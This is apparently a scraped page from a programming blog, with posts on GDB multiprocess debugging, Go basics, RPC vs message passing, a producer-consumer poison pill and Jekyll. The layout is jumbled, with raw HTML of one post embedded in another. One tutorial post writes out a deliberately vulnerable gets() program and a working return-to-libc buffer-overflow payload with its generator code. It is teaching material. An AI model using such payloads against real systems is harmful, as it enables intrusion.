/usr/bin/sort Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130 130 ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory. (gdb) c Continuing. [New process 6134] Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130 130 in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c (gdb) finish Run till exit from #0 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130 [New process 6147] 0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84 84 else if (0 == (pid2 = fork())) Value returned is $1 = 6147 Notice we meet two fork system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in. GDB use the concept of inferior to refer to threads, processes etc. To see currently running processes, just run (gdb) info inferiors Num Description Executable 3 process 6147 second 2 process 6134 second * 1 process 6127 second Notice both executable names of child processes are “second”. This means the /bin/ls and /usr/bin/sort are not loaded yet. This is because by setting detach-on-fork off, the newly created processes will be suspended by default. Let’s switch to first program (inferior 2) and let it finish. (gdb) inferior 2 ... (gdb) c Continuing. process 6134 is executing new program: /bin/ls Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done. [Inferior 2 (process 6134) exited normally] Now only two inferiors are left. (gdb) info inferiors Num Description Executable 3 process 6147 second * 2 <null> /bin/ls 1 process 6127 second The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks. (gdb) inferior 3 ... (gdb) finish Run till exit from #0 __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137 0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84 84 else if (0 == (pid2 = fork())) Value returned is $2 = 0 (gdb) n 88 if (-1 == close(pipefd[1])) { (gdb) n 94 if (-1 == dup2(pipefd[0], STDIN_FILENO)) { (gdb) n 98 run(program2); (gdb) n The program seems stuck when executing /usr/bin/sort. A guess is input file is never closed. Let’s check. ^Z Program received signal SIGTSTP, Stopped (user). 0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81 81 in ../sysdeps/unix/syscall-template.S (gdb) shell ls -l /proc/6147/fd total 0 lr-x------ 1 parallels parallels 64 Feb 3 16:37 0 -> pipe:[91298] lrwx------ 1 parallels parallels 64 Feb 3 16:37 1 -> /dev/pts/25 lrwx------ 1 parallels parallels 64 Feb 3 16:37 2 -> /dev/pts/25 lr-x------ 1 parallels parallels 64 Feb 3 16:37 3 -> pipe:[91298] Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug! Just to make sure our guess is correct, let’s examine open file descriptors in parent process. (gdb) inferior 1 [Switching to inferior 1 [process 6127] (second)] [Switching to thread 1 (process 6127)] #0 0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84 84 else if (0 == (pid2 = fork())) (gdb) c Continuing. ^Z Program received signal SIGTSTP, Stopped (user). 0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31 31 ../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory. (gdb) shell ls -l /proc/6127/fd total 0 lrwx------ 1 parallels parallels 64 Feb 3 16:29 0 -> /dev/pts/25 lrwx------ 1 parallels parallels 64 Feb 3 16:29 1 -> /dev/pts/25 lrwx------ 1 parallels parallels 64 Feb 3 16:29 2 -> /dev/pts/25 lr-x------ 1 parallels parallels 64 Feb 3 16:29 3 -> pipe:[91298] l-wx------ 1 parallels parallels 64 Feb 3 16:29 4 -> pipe:[91298] And we know the pipe is indeed not closed in parent process. This leads us to third version. The third version In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate. The third version is here. Now let’s test the program again. gcc -o third third.c ./third /bin/ls /usr/bin/sort And here is the result on my machine, README.md first.c second.c third third.c Run two programs succeeded! which is the same as the result of terminal. Conclusion In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment. We learnt C and Unix skills pipe fork waitpid dup GDB skills catch inferior

  • Concurrency vs. Parallelism

    Quoted from Go Concurrency Patterns. What is Concurrency Programming as the composition of independently executing processes. What is Parallelism Programming as the simultaneous execution of (possibly related) computations. Concurrency vs. Parallelism Concurrency is about dealing with lots of things at once. Parallelism is about doing lots of things at once. One is about structure, one is about execution. Concurrency provides a way to structure a solution to solve a problem that may (but not necessarily) be parallelizable.

  • Exception handling: panic/exception v.s. return error

    There are two common ways to handle errors: throw exception e.g. panic in Golang return error code return 0 or -1 in Unix system calls Here is one point of view to decide which method to go with. The rule is simple: if your function is in any way likely to fail, it should return an error code. When I’m calling some other package, if it is well written I don’t have to worry about panics, except for, well, truly exceptional conditions, things I shouldn’t be expected to handle. To know more. Here is a short discussion by Ross Cox, where he suggested these two articles: Cleaner, more elegant, and wrong Cleaner, more elegant, and harder to recognize

  • A cheatsheet on basic of Go language

    Quoted from: Getting Started A Tour of Go How to Write Go Code Cheatsheet 0.Entry point Go program starts from package main. 1.Export Capitalized function is exported. Non-capitalized function isn’t exported. 2.Variable type is at end of declaration. var a int = 3 a int := 3 3.Basic types. bool, string int int8 int16 int32 int64 uint uint8 uint16 uint32 uint64 uintptr byte // alias for uint8 rune // alias for int32, represents a Unicode code point float32 float64 complex64 complex128 4.Output type of a variable. printf("%T", variable) 5.Type conversion/casting. new_type(variable) 6.const const name = value 7.Group of definition or import. var/const ( x = 1 y = 2 ) import ( "package 1" "package 2" ) 8.Function with multiple return value. func name(x int, y int) (int, int) { return 1, 2 } 9.Switch 1 Switch use fallthrough as key word to let two consecutive cases run sequentially. In Go, we don’t use break key word to terminate switch cases, they stop automatically. 10.Switch 2 Value of switch case could be any type, even function value is okay. Using switch without a condition is okay, then the switch case takes some boolean value, this is useful for concise if-else combination. 11.Defer The deferred call’s arguments are evaluated immediately, but the function call is not executed until the surrounding function returns. When there are multiple defer functions, they are stacked in a FILO pattern. 12.Pointer Pointer is like c-style, but do not support pointer arithmetic. 13.Struct type Name struct { x int y int } name := Name{x:1, y:2} name.x p = &name p.x is okay! 14.Array var name [10]int name := [3]int{1,2,3} name := […]int{1,2,3} //same effect as previous statement len(name) cap(name) //capacity 15.Slice Slice is similar to array, but more flexible! Array is fixed sized, while size of slice could be modified. It is built on top of array, which is very similar to list in Java. Internal of slice is a pointer to a position in an array, the length, the capacity. Slice could be create by make name := make([]int, length) name := make([]int, length, capacity) name := make([]int, 0, 5) //an array with capacity 5 and length 0, initialized all value 0 or by slicing an array or slice name[1:3] //have value at position 1,2. name could be an array or slice name[1:] When creating slice by slicing, the data is not copied! just modify the pointer And notice, when slicing, the length is determined by slice range, but the capacity is determined by maximum range which is from slice range begin to end of underlying array. Notice, this may cause problem because we may only need part of the array, but we are keeping the whole array in memory. So sometimes it would be better to copy that part, or other method such as append part of array to a nil array, to let garbage collector reclaim those memory. https://blog.golang.org/go-slices-usage-and-internals 16.Slice is initialized as nil var name []int name == nil //true len(name) //0 cap(name) //0 17.Slice copy/append Slice could be copied between different lengthy, or even underlying overlapped slices. copy(destination, source) this will copy elements of smaller number in source and destination. var name = []int{1,2,3} append(name, 1, 2, 3) var name2= []int{4,5,6} append(name, name2…) //could append another slice. notice the … would unwrap the second slice 18.Array/slice range A convenient way to iterate element in array and slice. for index, value := range arrayName { //notice value is a copy of the element } Could skip the value, then for index := range arrayName {} Or could skip index, then for _, v := range array {} 19.Map Map must be created using make. var name = make(map[key_type] value_type) var map = make(map[string] int) Or could be initialized like JSON. var map = make(map[string] int) { "key1":10, "key2":20, //notice the commas is necessary! } Map operation is usual. map[key] = value value, ok = map[key] //ok is true if key exist delete(map, key) for key, value := map { //iterate map } 20.Function as first class Could pass function as a parameter. func name(fn func(x, y int) int) int {} Notice all function argument is value copy. Not reference. Also, function has closure. 21.Class Go doesn’t have built-in class. But we could use function to help variable to act like a class. We should assign a receiver type to a function, then any variable of this receiver type could call this function. So it looks like the receiver type is a class, variable is an object, and the function is a member function. var (f MyFloat) Abs() float64 {}//MyFloat is receiver type var Abs(f MyFloat) float64{} //function-wise same But receiver could only be type defined in the same package. So could not set receiver as built-in type, including int, float etc. Receiver could be pointer. This does not require the variable calling this function to be a pointer. It means the value of receiver is not copied to the function, instead a reference is given so that the function could modify the value of receiver. Though use a pointer as receiver variable to call function is recommended! var (f *MyFloat) Abs() {} //now Abs could directly modify f in its body All methods on a given type should have either value or pointer receivers, but not a mixture of both. (This is a design matter) 22.Interface type name interface { functionName(argument) return_type } name x could be any type that support the function. Empty interface acts like void* in C language. var i interface{} //empty interface, i is nil after created i = “aa" i = 43 //both are correct Because the interface could be assigned to any concrete variable, sometimes we want to know what’s underlying concrete type. var i interface{} = "hello" s := i.string //s will be “hello" f := i.float64 //run time error f, ok := i.float64 //no error, ok would be false 23.Switch 3 Switch could be used to switch types. switch v:= i.(type) { case T: case S: default: } 24.Stringer interface A built-in interface, similar to toString() in Java. type Stringer interface { String() string } 25.Error Every built-in function return an error as last parameter. return_value, err = function_name() if err == nil {} else {} 26.IO Reader Reader is an input stream. import { "io" "strings" } r := strings.NewReader("Hello, Reader!") b := make([]byte, 8) n, err := r.Read(b) if err == io.EOF { break } 27. Routine Routine is like thread in other languages. You run a function in another thread. go fun_name(parameters) This starts a new goroutine/ light-weight thread. The parameters are evaluated when executing this line, i.e. current goroutine, but execution of the function is happen in the new goroutine, i.e. in the future. These go routines run in same address space, so that access to shared memory need synchronized. 28.Rendezvous channel Rendezvous means synchronized. A rendezvous channel is a channel without defining size, so that the sender and receiver would be synchronized all the time. var channel = make(chan int) channel <- v //offer v into channel, block until v is taken from receiver v := <- channel //take v from channel, block until sender offer a value into channel 29.Buffered channel Buffered channel is channel with a defined capacity. So the sender and receiver could act like producer consumer model, where the channel acts like a queue with fixed size. var channel = make(chan int, capacity) channel <- v //sender be blocked when channel full v := <- channel //receiver blocked when channel empty cap(channel) //capacity 30.Channel close and check Sender could and only sender should close channel close(channel) Receiver could check whether channel is closed by v, ok := <- channel A channel could be iterated using range. for i:= range(channel) { //i is element in channel } when channel is closed, this iteration will stop. 31.Select Select a random executable statement to run. Notice each case statement should interact with a channel. select { case c <- x://executable when channel is not full case <- c: //executable when channel is not empty default ://executable when channel is neither full nor empty } 32.sync.Mutex Go provide built-in mutex acting as lock. Though it suggests design pattern to do concurrency without locks. mux sync.Mutex mux.Lock() //do something mux.Unlock() 33.Share memory by communicating Don’t communicate by sharing memory; share memory by communicating. Go blog: shareemem codewalk A naive interpretation: Do not use lock and shared memory, as a method to communicate among threads. Instead, use channel as communication tool, and share data among threads without lock. 34.Go syntax A good post talking about why’s the similarity and difference between Go syntax and C syntax. Go blog: Go’s declaration syntax 35.Defer, panic, recover A defer statement pushes a function call onto a list. The list of saved calls is executed after the surrounding function returns. Defer is commonly used to simplify functions that perform various clean-up actions. A deferred function’s arguments are evaluated when the defer statement is evaluated. Deferred function calls are executed in Last In First Out order after the surrounding function returns. Deferred functions may read and assign to the returning function’s named return values. This is convenient for modifying the error return value of a function Panic is a built-in function that stops the ordinary flow of control and begins panicking. When the function F calls panic, execution of F stops, any deferred functions in F are executed normally, and then F returns to its caller. To the caller, F then behaves like a call to panic. The process continues up the stack until all functions in the current goroutine have returned, at which point the program crashes. Panics can be initiated by invoking panic directly. They can also be caused by runtime errors, such as out-of-bounds array accesses. Recover is a built-in function that regains control of a panicking goroutine. Recover is only useful inside deferred functions. During normal execution, a call to recover will return nil and have no other effect. If the current goroutine is panicking, a call to recover will capture the value given to panic and resume normal execution. Go blog: defer panic and recover 36.Test Go provides a built-in test platform. The convention is: Within the package, have a go file named XXX__test.go Within this go file, have functions named TestXXX.go The test function should have format as func TestXXX(t *testing.T) {} Import package "testing" Use test functions to indicate error. This including t.Error t.Errorf t.Fail

  • Talking within Distributed System

    What’s different between communication in distributed system and local machine. Two most popular way to communicate within a distributed system, i.e. message passing and RPC, and analyzed the advantages and disadvantages of them. Two most successful protocol using these two communication idea, i.e. RESTful and Thrift. Why talking within distributed system is different from local machine? In a local machine, when process A is communicating with process B, it could be done in a synchronized fashion guaranteed by electrical circuit or the so-called bus built in your laptop or server. So the delivery time is always constant, corresponding to several clock cycles. The fundamental difference of distributed system and local machine is due to network unreliability. When machine A is sending message to or call function at machine B, there is not such bus connecting them so that they could only communicate through network. So either machine A get an acknowledgement message and it could be sure that machine B receive the message, or it has to wait indefinitely since it could never tell whether the message is lost or it is network congestion. So it is the case that I know what I know, but I don’t know what others know, and I don’t know what others know others know… An example Through the next of this post, we will examine a simple common example distcp. So the semantic of distcp is the same as cp (copy) method, it copies data from one location to another. More specifically, when machine A runs distcp path1/file path2, it copy file from path1 to path2. Message Passing So message passing is actually the most straightforward and also most widely used way to implement distributed system communication (think about Internet!). Message Passing defines two basic method, send() and receive(). It sends the whole information including operator (in our case it is distcp) and operands (in our case it is file and path) through network. And when receiver receives the message, it lookups the operator and finds corresponding local method and then finishes the job. Advantages It is straightforward/user-friendly. Disadvantages However, despite the good point of message passing, this method leaves a lot of burden to application programmer. A common message passing is very like this: On sender’s side: MessageFactor.createMessage("distcp").setArgument(0, "path1/file").setArgument(1, "path2").send(ip of machine B) On receiver’s side: operator = receive().getOperator(); switch(operator) { case "distcp": copy to path; break; } There are two obvious problem. 1.Programmer needs to do lots of work to control the logic, especially on receiver’s side. 2.The program could not make use of compile check to make sure the sending message is correct. This significantly increase the possibility of runtime error. Remote Procedure Call (RPC) So to reduce the burden of programmers and make our program more predictable, RPC is a good idea. The core idea of RPC is to provide an interface for both local and remote procedure call, so that programmer could call remote function just like call local function. So the RPC way of our function is very like to be this: register_path("path1", ip of machine A); register_path("path2", ip of machine B); dist("path1/file", "path2"); And it is done! How to find the file and how to bind the data is left to RPC service. After binding the path and machine, the programmer doesn’t need to worry about the whole logic. Moreover, now we could at compile time check whether the programmer provides exactly two arguments , reducing runtime error. Also, it a lot of distributed system, e.g. Hadoop platform, there’s a master machine to take care of path binding, so the two register_path method could be avoided as well! Note To understand how the RPC service is implemented, I encourage you to further read some posts online or this paper Implementing remote procedure calls by Andrew and Bruce. Advantages 1.RPC provide the abstraction of procedure call so that programmers could use these services easily just as using local methods. 2.It also helps reducing runtime errors. Disadvantages Now RPC may seems really attracting, it has one important disadvantages compared to message passing – the service itself is much complicated. Yes, the user/programmer is relieved from handling logic and data binding themselves, but the API provider/RPC service provider need to do a lot of work, including defining interface, implementing logic etc. The complication is significant when testing some new functions, since the API may change frequently during development. Real World Implementation Now we scratched the surface of both two common communication ways, how and when do we prefer one to the other? Let’s see two most widely used communication protocol in web service today. RESTful I’m not going to talk about what is RESTful. I assume you have already know what it is and hopefully you have used it several times in your previous projects. RESTful is a good example using the idea of message passing. For send() method, it supports four operators, i.e. GET, PUT, POST and DELETE, and nearly unlimited number of operands (within bound of network limit of course). And receive() method is handled by HTTP request. Advantages 1.Lightweight. Since RESTful API is often used for implementing CRUD operations in database, so the message is generally short. 2.User-friendly. RESTful has same semantics with HTTP request, thus learning curve of RESTful is almost zero degree! 3.Language/Platform independence. Since RESTful is nothing but HTTP request, it has no constraints on language or system platform. Disadvantages The disadvantage of RESTful stems from HTTP protocol itself. One thing is RESTful does not support basic method other than HTTP’s methods. Although one could put operator inside body of HTTP request, but that would lose the lightweight property of RESTful. Another disadvantage is HTTP request is expensive. Each HTTP request is generally a blocking process, harming the scalability of system. (This is said be overcome in HTTP 2.0, I’m not quite familiar with HTTP 2.0, but this disadvantage holds for HTTP 1.1). Thrift My understanding of Thrift may not be correct and well-rounded, since I haven’t use Thrift a lot. But generally, Thrift is a protocol based on RPC so that to simplify remote call process and with goal of a fast, reliable and safe communication. To use Thrift, you need first define the RPC interface using Interface Definition Language (IDL). This interface is a constraint that both server and clients using the method should follow. After you defined the interface, it is Thrift that will take care of the underlying communication and compile time checking. Advantages 1.Provide compile time checking. Thrift is much stricter than RESTful, but the goodness is it could help avoid lots of small errors. 2.It is faaaaast. RPC generally take advantages of UDP protocol and binding acknowledgement message with next request to avoid overhead and amount of exchanging data. Disadvantages It is obvious that Thrift is way complicated than RESTful API. It also doesn’t have a universal method name (e.g. GET in RESTful). Therefore developers need to first learn the interface of different Thrift library then could they move on. Discussion So how to choose among them? Like most design in computer science, there is no absolute yes or no to choose one protocol rather than the other. It has been a consensus that, generally, when developing light-weight api, especially those similar with CRUD operations, and when your api is used by lots of users, then RESTful may be better choice. While developing api that is internally used, or logically complicated, or fast is your first priority, then Thrift may be better. In comparison these protocol, here is a great article by Kristopher Sandoval. I quote part of the article here, but you should definitely read through that great post. REST, on the other hand, is like a pre-paid postcard. You’ve forgone the envelope in favor of a lightweight, succinct delivery device that is easy to interpret and handle, with your message quickly scribbled on the back. The postcard uses less material (bandwidth), is typically shorter in content, and might actually get to your neighbor faster because there’s less bulk to move around. Thrift is like a megaphone. When you point the megaphone at your neighbor, he implicitly knows you’re upset about something — and that you’re going to say it specifically to him. He knows what to do with the information, because the reaction a human has to a megaphone is pretty universal (assuming, of course, that your megaphone is louder than his drums). The message is sent in a lightweight but forceful manner that depends entirely on the receiver to properly process it, in this case your neighbor.

  • Secure Threats -- Buffer Overflow Attack -- Level 0

    Our software system is far from robust and safe. This post talks about a basic attack, namely Buffer Overflow, that could shoot down a software system which seems robust at first glance. Pre-requisite The first pre-requisite is quite easy to catch up, but the second and third ones are fundamental pre knowledge. Familiar with C language. (This series would use C program as example.) And know how to use a gdb to debug C program. Familiar with basic assembly language and be able to read assembly language. (No need to good at writing them!) Know what’s a heap, stack, shared library and basically how program is mapped into memory. Or if you could understand what this figure is talking about. (Computer System : A Programmer’s Perspective 2nd) Buffer Overflow Attack Great, now you are ready to hack a system, and I’m showing you a way. What is Buffer Overflow Buffer Overflow is an attack/hacking solution that takes advantage of such a vulnerability: when a victim host is trying to receive a message from an attacker, it doesn’t check the length of in-coming message, so the message could be arbitrary long and, as a result, overwrite some part of victim host’s stack memory and make the hack. An Example (Your first hacking attack!) To make this clearer, let’s see a typical example. /* basic.c */ #include <stdlib.h> #include <stdio.h> #include <string.h> /* server code, I'm victim */ int main(int argc, char** argv) { char buf[16] ; printf("Hi, I'm server.\n"); gets(buf); printf("you entered: %s\n", buf); return 0; } This piece of code seems okay at first glance, but the reason it suffers from a buffer overflow attack is the use of this gets function. Basically gets copy string from standard input to buf. To understand why this is a problem, we need to look inside the program to know what is happening underneath. Yeah, I mean to read some assembly code. By running following script, gcc -o basic basic.c -m32 objdump -d basic we could get assembly code of basic. (Note we add a -m32 here to compile it to a 32-bit version) 08048480 <main>: ...... 8048495: 8d 44 24 10 lea 0x10(%esp),%eax # some padding 8048499: 89 04 24 mov %eax,(%esp) # put this address as argument for gets function 804849c: e8 9f fe ff ff call 8048340 <gets@plt> ...... I’m not going to talk about what exactly these assembly do. They are pretty straightforward if you have some experience with assembly language and also notice I add some comments to help you catch the idea. Now is key point. Then what gets function does is it go through standard input and copy byte by byte to buf until it met a null terminator. However, the gets function doesn’t check input length! So what if we input a very long sentence? -bash-4.2$ echo "a verrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrry long sentence" | ./basic Hi, I'm server. you entered: a verrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrry long sentence Segmentation fault (core dumped) The problem is the input is too long so that it override some part of original stack. This could be a disaster since stack is used to keep important variable value. And this is why this kind of attack is called Buffer Overflow Attack. To do a real attack To do a real attack, i.e. let the program do something you intend it to do, rather than just crash, we need more work and more analysis. Analysis By using gdb (gdb) b *0x804849c Breakpoint 1 at 0x804849c (gdb) r Starting program: basic Hi, I'm server. Breakpoint 1, 0x0804849c in main () (gdb) i r esp esp 0xffffd210 0xffffd210 (gdb) x/wx 0xffffd210 0xffffd210: 0xffffd220 we could find right before gets is called, esp is pointing to 0xffffd220, which means our input message will be written to this address. Also, if we set breakpoint at beginning of main function, (gdb) b *0x0x8048480 Breakpoint 2 at 0x8048480 (gdb) r Starting program: basic Breakpoint 2, 0x08048480 in main () (gdb) i r esp esp 0xffffd23c 0xffffd23c we could find return address for main function is saved at 0xffffd23c. Did you find the secret? The offset between the return address and the address we are going to write is only 0xffffd23c - 0xffffd220 = 0x1C = 28. This means if our input message is 28 characters or more, then we could overwrite the return address of main function! And let’s remind what return instruction does. It puts the value pointed by esp to eip, increment esp by 4 bytes, and execute the code pointed by eip. So this means if we change the value of return address, we could let program go to some surprised place and execute some surprised code! Moreover, if we construct our input message using executable code and let the return address go to our code, then we could let program do whatever we want! And this closes our analysis! Bravo! Sum up Let’s put the pieces together. To do a basic buffer overflow attack, we need to… 1.Find the address where your input message is going to write. 2.Find the most recent return address that is larger than the address in point 1. 3.Carefully calculate the offset of these two addresses and design your input message so that they could be executed by CPU to do some surprisingly fun job. Let’s Hack Our ‘Not-so-Robust’ Program The normal execution of basic program is prompt exactly same thing as we input. Now we would like it to print I'm hacked! in a funny way. To print something, we still need the built-in print function in stdlib. Take a look at assembly code again, (gdb) p &printf $2 = (<data variable, no debug info> *) 0xf7e32f60 <printf> To print something, we need to make sure esp is pointing to what we want to print (i.e. I'm hacked! in this case), and then call printf function! The input message should be like this: [several padding to return address] – [address to printf] – [pointer to hacking message] To call the printf function is easy, we just need to overwrite the return address in main function with printf address, which we’ve already figured out as 0xf7e32f60. Then where is the hacking message? Remember the printf function print message out until it find a null terminator. Therefore we could not put the hacking message at front of input message and followed by the padding, since in this way we would print rubbish that we don’t want to. So we have to put them at the end of input message. Thus, the input message should be like this: [several padding to return address] – [address to printf] – [pointer to hacking message] – [hacking message] One last thing, we need some padding at after return to printf, this is because we use printf function not by “call” but by “return”. As we analyzed before, just before call printf, we make sure esp pointing to message we want to print out. But when we use “return” to call a function, it first put esp to eip and then pop esp so that esp will move up by 4 bytes. Also, the value in this padding is the return address after return from printf, i.e. the program will try to execute code at the position of this padding value. So we could put an exit here to let the program stop. (gdb) p &exit $5 = (<text variable, no debug info> *) 0xf7e17b10 <exit> Okay! Let’s hack it! We know… The address we are going to write from is: 0xffffd220 The original return address is at: 0xffffd23c The return address need to overwrite as 0xf7e32f60 The exit address is 0xf7e17b10 And we put hacking message at the end: I'm hacked! So, what we need is: 0xffffd220 : 28 \x90 as padding …… 0xffffd23c : 0xf7e32f60 address to call printf 0xffffd240 : 0xf7e17b10 address to exit, also as padding 0xffffd244 : 0xffffd248 pointer to printing message 0xffffd248 : I'm hacked! Another important thing we need to keep in mind is, our system is generally small-endian. This means instead of 0xf7e32f60 as is human readable, we need to put 0x602fe3f7 in our input message. The same thing holds to 0xffffd248 and 0xf7e17b10. So, based on all these analysis. We get our input message: 28 \x90 0x602fe3f7 0x107be1f7 0x48d2ffff I'm hacked! To generate the text we could have a helper program hack /* basic hack.c */ #include <stdio.h> int main(int argc, char** argv) { int i = 0; //padding for(i = 0; i < 28; i++) { printf("\x90"); } printf("\x60\x2f\xe3\xf7");//address to printf printf("\xa1\x83\x04\x08");//address to exit printf("\x48\xd2\xff\xff");//address to print message printf("I'm Hacked!\n"); return 0; } Then compile it and save to a file hack.txt -bash-4.2$ gcc -o hack hack.c -bash-4.2$ ./hack > hack.txt Finally use gdb to test it! (gdb) r < hack.txt Starting program: basic < hack.txt Hi, I'm server. you entered: ????????????????????????????`/{H?I'm Hacked! I'm Hacked![Inferior 1 (process 41057) exited with code 0111] Note At the end of output, it says program exited with code 0111. This means program doesn’t exit normally. This is because the exit function also use esp as exit code, but in our program esp saves address to message. To overcome this problem, we need to use ROP(Return-Oriented-Programming) technique. See following posts! Last but not least. If you test this attack without gdb, you’ll get -bash-4.2$ ./basic < hack.txt Hi, I'm server. you entered: ????????????????????????????`/{H?I'm Hacked! Segmentation fault (core dumped) This is because the so-called ASLR(Address Space Layout Randomization) defense technique. We’ll talk about how to overcome this defense in following posts. And this ends the very basic Buffer Overflow Attack. Hope you enjoy it!

  • Poison Pill

    How do producer(s) notify consumer(s) to stop? The producer can not simple kill the consumer, since there may be some jobs still in the queue. One solution is use poison pill – a special value to notify consumer(s) the end of service. How it works? The idea is extremely simple. When producer wants to stop the service, it sends a special message (poison pill) into the queue and stops it self, when consumer gets this message, it closes it self as well. What if multiply producers and multiply consumers? If only one producer and consumer, then it’s totally fine. If there are several producers and one consumer, each producer could send a poison pill to consumer and stop itself. When consumer gets same number of poison pills, then it stop running. If there are one producer and several consumers, then producer send poison pills of same number as consumers to queue. Each consumer stops itself when get a poison pill. If there are multiple producers and multiple consumers, then each producer send poison pill of same number as consumers to queue. Each consumer stops itself when get poison pills of same number as producer. What is the problem? This solution suppose producers and consumers know the quantity of each other. Also, if we have N producers and M consumers, then number of poison pills will be N*M, which could be large. Alternative Solution One alternative solution is we relax the constraints so that consumers could also offer messages into queue, but only when it is trying to stop the whole service. On producers’ side, when all producers are going to leave the service, the last producer send a poison pill to the queue. This could be done by several ways, one way is to elect a leader so the leader send the poison pill and then every producer leaves. On consumers’ side, when any of consumers get a poison pill, it first the poison pill back to queue and leave the service. So that all consumers will finally leave the service. This solution is based on that producers know each other, and consumers know each other, but producers and consumers don’t know each other, which makes more sense in real world. Reference “Poison Pill Shutdown” in Java Concurrency in Practice

  • </ul>

    
    We see that instead of using Jekyll's built-in ```post.excerpt``` tag, we use customized filter ```build_preview``` with content of post as input, to create the post preview on home page. The filter ```strip_html``` is used to remove html tags so that the preview could be rendered correctly.
    
    Run Jekyll local server
    
    

    jekyll server ```

    And you should see the change.


    indefault.htmlwith the whole content of this file(post.html```)**. By doing this, Jekyll enable us to define layout in a hierarchical way.

    Now let’s create file _layout/default.html with following content:

    <!DOCTYPE html>
    <html>
    	{% include head.html %}
    	<body>
    		{{ content }}
      	</body>
    </html>
    

    notice this is a complete HTML file and the ```

    Blog with Jekyll for beginners

    Posted on February 10, 2017 Updated on February 10, 2017

    This article

    • shows how to build a simple blog website with Jekyll from scratch (you could also build your blog on top of others once you learnt the essential skills)
    • use Liquid and Jekyll plugin to customize article previews front matter
    • example blog

    example-blog

    Pre-requists

    • Basic understanding of HTML, CSS, JS and their relations
    • Ruby experience or other programming experience to pick up Ruby quickly (< 3 mins)
    • Mac (if you’re using aother platform, please change the commands accordingly)

    Build your blog with Jekyll

    Install Jekyll

    Remember all the commands are only tested on Mac OS.

    gem install jekyll
    

    Set up environment

    Navigate to the directory you want your blog be put to. In my case, I will choose /tmp so that it won’t miss up my whole system.

    > cd /tmp
    > jekyll new my-blog
    New jekyll site installed in /private/tmp/my-blog.
    

    By running the last command, you have created a directory organized in a way that Jekyll could create static website from.

    Create a post

    Before all, let’s remove default files Jekyll created for us. In this article, we will use much simpler layouts, but the idea is the same.

    > mkdir /tmp/blog-backup
    > mv _includes/* _layouts/* _posts/* css/* _sass/* index.html about.md /tmp/backup/
    

    Layout

    Post layout

    Now let’s create a layout for your blog posts. A layout is same as a template. You could think about it like creating a Pointer Point / Keynote. For each slide, it has a structure, e.g. a title and a body text, and what you need to do is only fill in the content.

    Jekyll is great to separate layout/template from contents.

    We create layout using HTML, CSS, JS and Liquid. In the layout, we put some special marks as placeholders, so that the content could be inserted by Jekyll and Liquid.

    Once you have created the layout, you could focus on contents and Jekyll will put them together and render the website.

    This may sound abstract, let’s have a dry run!

    > cd my-blog
    > vim _layout/post.html # Or use your favorite text editor to create _layout/post.html
    

    This is the simple post HTML.

    ---
    layout: default
    ---
    <div>
    	<header>
    		<h1>Blog with Jekyll for beginners</h1>
    		<p>Feb 10, 2017</p>
    	</header>
    
    	<article>
    		<!-- Post Header -->
    <header class="intro-header" >
        <div class="container">
            <div class="row">
                <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                    <div class="post-heading">
                        <div class="tags">
                            
                            <a class="tag" href="/tags/#c" title="c">c</a>
                            
                            <a class="tag" href="/tags/#unix" title="unix">unix</a>
                            
                            <a class="tag" href="/tags/#gdb" title="gdb">gdb</a>
                            
                            <a class="tag" href="/tags/#system" title="system">system</a>
                            
                        </div>
                        <h1>Inter-process communication using pipe and multiprocess debugging using GDB</h1>
                        
                        
                        <h2 class="subheading"></h2>
                        
                        <span class="meta">Posted on February 3, 2017</span>
                        <span class="meta">Updated on February 3, 2017</span>
                    </div>
                </div>
            </div>
        </div>
    </header>
    
    <!-- Post Content -->
    <article>
        <div class="container">
            <div class="row">
    
        <!-- Post Container -->
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    post-container">
    
    				<p>In this article, we’ll walk through a simple example showing</p>
    
    <ul>
      <li>how to use unix pipe for inter-process communication</li>
      <li>how to debug a program of three processes using GDB</li>
    </ul>
    
    <!-- excerpt -->
    <hr />
    <hr />
    
    <h3 id="pre-requists">Pre-requists</h3>
    
    <ul>
      <li>experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video <a href="https://www.youtube.com/watch?v=tc4ROCJYbm0">Unix intro</a>)</li>
      <li>experience using GDB, know how to set breakpoints (checkout <a href="https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top">GDB tutorial</a>)</li>
      <li>c language readability (espicially <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">exec</code>)</li>
      <li>understand I/O redirect (checkout <code class="language-plaintext highlighter-rouge">man dup</code>)</li>
    </ul>
    
    <h3 id="the-problem">The problem</h3>
    
    <p>The problem is to</p>
    
    <ol>
      <li>load two pre-built programs</li>
      <li>stream the output of the first program to the second one</li>
      <li>print the result of the second program</li>
      <li>print a finish sentence when both programs finish</li>
    </ol>
    
    <p>For example, we want to mimic the action of such bash command:</p>
